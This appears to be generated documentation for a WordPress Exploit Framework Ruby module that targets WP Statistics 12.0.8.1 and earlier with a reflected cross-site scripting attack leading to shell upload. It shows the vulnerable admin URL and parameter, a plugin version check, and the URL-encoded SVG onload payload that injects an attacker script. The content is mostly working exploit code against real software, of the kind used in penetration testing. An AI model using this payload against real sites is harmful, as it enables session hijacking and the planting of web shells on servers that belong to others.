class Wpxf::Exploit::WpStatisticsReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'WP Statistics <= 12.0.8.1 Reflected XSS Shell Upload',
    author: [
      'Ryan Dewhurst', # Dislosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '8855'],
      ['URL', 'http://blog.dewhurstsecurity.com/2017/07/03/wp-statistics-authenticated-xss-vulnerability.html']
    ],
    date: 'Jul 03 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb, line 23
def check
  check_plugin_version_from_readme('wp-statistics', '12.0.8.2')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb, line 35
def url_with_xss
  "#{vulnerable_url}?page=wps_visitors_page&ip=#{xss_payload}"
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb, line 27
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'admin.php')
end
xss_payload() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_statistics_reflected_xss_shell_upload.rb, line 31
def xss_payload
  url_encode("'><svg onload=#{xss_ascii_encoded_include_script}><!--")
end